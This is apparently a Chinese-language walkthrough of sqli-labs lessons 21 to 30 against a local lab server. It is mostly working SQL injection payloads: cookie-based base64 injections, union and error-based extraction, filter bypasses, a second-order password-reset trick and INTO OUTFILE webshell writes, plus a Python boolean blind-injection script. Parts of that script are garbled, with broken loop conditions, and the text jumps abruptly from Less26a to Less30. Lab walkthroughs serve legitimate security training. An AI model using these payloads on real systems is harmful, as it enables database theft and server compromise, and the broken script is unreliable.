目录
Less21
Less22
Less23
Less24
Less25
Less25a
Less26
Less26a
Less27
Less27a
Less28
Less28a
Less29
Less30
Less21这关刚开始还是和Less20一样,进去是个登录的页面
输入正确的用户名和密码之后,返回的页面有User-Agent,客户端ip地址,cookie,用户名,密码,用户id等信息
登录过程中burpsuite也是抓到两个报文,第一个是发送用户名和密码的POST报文,第二个是GET报文且携带cookie
仔细看这关的GET报文,就和上一关不一样了,Cookie中uname参数的值是base64编码的。
把uname的值粘贴到burpsuite的decoder模块,先decode as url,再decode as base64,可以看到最终结果是admin
下面开始正式开干,把admin'放到decoder里面,encode as base64
把proxy模块中抓到的GET报文send to repeater,然后把得到的base64编码后的结果作为cookie头中uname的值发送,从报错可知闭合是')
这关还是可以用报错注入,除了每条payload都要经过一次base64编码(如果base64编码结果包含等号还要进行url编码),再作为uname的值发送,其他还是和Less20一样。具体就不一一截图了 ,以下是爆数据的payload在base64(和url)编码之前的值:
#获取服务器上所有数据库的名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or ('
#获取pikachu数据库的所有表名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or ('
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or ('
#获取pikachu数据库message表的所有列名称
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1) or ('
#获取pikachu数据库message表的id和content列的所有值
Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1) or ('
最终结果如下图
emmmmm搞完了发现这关如果和Less20一样,有注入点的地方是select语句,那么其实是可以用union注入的。。。这里用爆当前数据库做个演示:
payload是:ad') union select 1,2,database()#
先在decoder中base64编码,然后作为repeater中cookie头的uname的值发送,得到当前数据库名称security
写webshell:
payload: ad') union select 1,2,'' into outfile 'C:/less21.php'#
先base64编码再url编码,得到的结果作为cookie的uname值发送
服务器上得到的webshell:
本关代码也没啥可说的,和Less20的区别就是生成名为uname的cookie值时进行了base64编码,把客户端发来的cookie值代入sql语句之前进行了base64解码
这关的原理和上一关一样一样的(注入点在cookie的uname参数值,payload需要base64编码,如果编码后有等号还需要url编码),就是闭合换成双引号了。
为了弥补前面两关明明可以union注入,偏偏报错注入了的遗憾,这关用union注入来一次。
整个爆数据的编码前的payload如下:
#下面两步找列数
Cookie: uname=admin" order by 3#
Cookie: uname=admin" order by 4#
#确定哪个字段有回显
Cookie: uname=" union select 1,2,3#
#获取服务器上所有数据库的名称
Cookie: uname=" union select 1,2,group_concat(schema_name) from information_schema.schemata#
#获取pikachu数据库的所有表名称
Cookie: uname=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
#获取pikachu数据库message表的所有列名称
Cookie: uname=" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'#
#获取pikachu数据库message表的id和content列的所有值
Cookie: uname=" union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message#
最后一步:
写webshell:
编码前payload:
Cookie: uname=" union select 1,2,'' into outfile 'C:/less22.php'#
编码:
发送报文:
服务器上写入的webshell:
这关代码没啥可说的,和上一关的区别就闭合不一样
这关和前面三关终于不一样了,又变成GET型了。
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1 得到正常的页面,并且回显用户名和密码
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1' 得到报错的页面,并且从sql语法错误看,闭合是单引号
接着输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=1'#和http://192.168.101.16/sqli-labs-master/Less-23/?id=1'-- s 发现注释符并没有起作用,返回的仍然是报语法错误的页面
看来这关过滤了注释符,需要想办法绕过这个过滤
没想找order by要怎么绕过注释符过滤,猜列数得用union select来猜了
输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1'
或者
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,2'
从返回结果可知列数不对
输入:http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,2,3'
没有报错,且显示了2和3,可见列数为3,并且第2和第3列查询结果可以被显示
接下来就是常规的用union注入爆数据啦,payload如下:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3'
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),3'
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),3'
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(concat(id,'^',content)) from pikachu.message),3'
最终结果:
这关受到后面的limit 0,1的影响,没法用into outfile写webshell,sqlmap也试了,写不成功,毕竟sqlmap用的也是into outfile
这关代码也没啥可说的,主要就是23到27行,把#和--删除了
这关是二阶注入,先观察页面,再看代码找注入点
首先观察一下页面,有登录和注册新用户的功能(忘记密码功能是假的)
点击New User click here?会进入注册用户的页面
输入正确的用户名和密码会进入修改用户密码的页面,比如下图以用户名admin,密码2登录
通过以上考察,可以发现本关应该有三个位置有sql语句,登录的位置是select语句,新建用户的地方是insert语句,修改密码的地方是update语句。
再看看代码中这三个sql语句是否有预编译、编码、过滤等操作,以判断是否有注入可能
登录位置代码如下,mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符,这里select语句中用户名和密码都有单引号闭合,用户输入用这个函数处理之后无法闭合单引号,因此无注入点。
注册用户的代码如下,同样,insert语句的入参都经过了函数mysql_escape_string()的转义,没有注入点
修改密码的代码如下,update语句中的$pass和$curr_pass都是用户输入的参数,都经过转义了,但$username是从session中读取的,并且没有经过转义,因此有sql注入的可能。
username有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。比如,如果已知用户是admin,则新创建的用户应当是admin'#或者admin'-- s之类,使最终生效的sql语句为:UPDATE users SET PASSWORD='$pass' where username='admin'
因此,本关的解法可以是:
注册新用户admin'#,密码随意
以admin'#登录
修改密码为456
上图中点reset之后再logout,然后用用户名admin,密码456登录,可以登录成功
这关过滤了and和or,但是只需要双写绕过即可。注意不仅仅是单词and和or,order和information中也有or
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1'
报错,根据报错信息可知闭合是单引号
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1' oorrder by 3-- s
返回正确结果
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25/?id=1' oorrder by 4-- s
返回报错,说明输出有3列
接下来不一一截图了,爆数据的payload如下:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,3-- s
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='pikachu'-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='pikachu' aandnd table_name='message'-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s
最终结果:
本关可以写webshell,payload如下:
http://192.168.101.16/sqli-labs-master/Less-25/?id=-1' union select 1,2,'' into outfile 'C:/less25.php'-- s
服务器上写入的webshell:
本关代码中,用自定义的blacklist()函数处理了输入参数$id
blacklist()函数的定义如下,用preg_replace()函数匹配and和or(i表示不区分大小写),并删除。但由于没有迭代匹配删除,所以双写可以轻松绕过。
这关和上一关看着差不多
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25a/?id=1'
发现报错了,但没有爆出具体的错误。mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有,返回如下错误说明没有查询结果,也就是说sql语句没有正确执行。
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-25a/?id=1-- s
返回正确查询结果,说明本关无闭合符号。
其余和上一关套路差不多,双写绕过or和and的过滤,不多说了,上payload:
#确认回显的列
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,3-- s
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='pikachu'-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='pikachu' aandnd table_name='message'-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(concat(id,'^',content)) from pikachu.message-- s
最终结果:
写webshell的payload:
http://192.168.101.16/sqli-labs-master/Less-25a/?id=-1 union select 1,2,'' into outfile 'C:/less25a.php'-- s
服务器上被写入的webshell:
代码不分析了,除了闭合,其他都和上一关一样
Less26本关明面上说过滤了空格和注释符。
过滤注释符不要紧,前面关卡已经遇到过,只要构造语句把后面的引号也闭合掉就行。
绕过空格过滤常用的几种方法是:1、空白符绕过 2、多行注释/**/绕过 3、括号绕过
试了多行注释,以及几种常见的空白符(其实严谨点可以burpsuite中拿所有空白符爆破一下),都没办法绕过。
试试报错注入加括号绕过:
以爆所有数据库名称为例,需要注意这关还是过滤了and和or,并且可以用双写的方法绕过;过滤注释符之后,需要用or '1'='1'闭合单引号。payload如下:
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr'1'='1
返回结果:
爆数据过程的全部payload如下:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),32,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),63,31),0x7e),1))oorr'1'='1
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='pikachu')),1,31),0x7e),1))oorr'1'='1
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='pikachu')),32,31),0x7e),1))oorr'1'='1
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='pikachu') anandd (table_name='message')),1,31),0x7e),1))oorr'1'='1
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-26/?id=1'aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(concat(id,'^',content))) from (pikachu.message)),1,31),0x7e),1))oorr'1'='1
写webshell就不尝试了,根据Less23的经验,由于limit 0,1没法注释掉,所以这关应该也没法写webshell。
看一下这关代码对用户输入的id参数进行过滤处理的部分:
59和60行分别过滤or和and,不区分大小写,可以用双写绕过;
61行过滤/和*,阻止了一种空格过滤的绕过方法;
62行有点搞笑,其实这边写一个短横杠就行了,没必要写两个;63行过滤#;这两行行是进行注释符过滤。
64行\s可以匹配所有空白字符;
65行没明白写在这儿是什么意思,/再61行已经可以过滤了,\不懂为何要过滤。。
这关和上一关有两个区别:
1、不会爆出具体错误,用不了报错注入
2、闭合是')
所幸sql语句正确和错误的时候网页回显是不同的,这关可以用布尔盲注。
爆数据的python脚本如下:
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-26a/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name' #用于判断附加sql语句为真的字符,根据网页回显填写
def Database26A():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "1') anandd (length((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)))>"+str(j)+")anandd('1')=('1" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload4 = "1') aandnd (length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload7 = "1') anandd (length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = '"+table+"') anandd (table_schema = '"+database+"')))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload10 = "1') aandnd (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")anandd('1')=('1"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload1 = "1') and (length((select (group_concat(schema_name)) from (information_schema.schemata)))>"+str(j)+")and('1')=('1" #所有payload根据实际情况填写
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload4 = "1') and (length((select (group_concat(table_name)) from (information_schema.tables) where (table_schema = '"+database+"')))>"+str(j)+")and('1')=('1"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload7 = "1') and (length((select (group_concat(column_name)) from (information_schema.columns) where (table_name = '"+table+"') and (table_schema = '"+database+"')))>"+str(j)+")and('1')=('1"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-kk and j3:
payload10 = "1') and (length((select (group_concat(concat("+col1+",'^',"+col2+"))) from ("+database+"."+table+")))>"+str(j)+")and('1')=('1"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k' into outfile 'C:/phpstudy_pro/WWW/less30.php'-- s
写入服务器的webshell:
本关代码就不说啦,和上一关就sql语句的闭合符号不同而已……